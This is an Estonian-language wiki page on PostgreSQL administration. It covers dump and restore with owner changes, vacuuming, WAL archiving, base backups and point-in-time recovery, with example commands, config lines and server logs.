Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
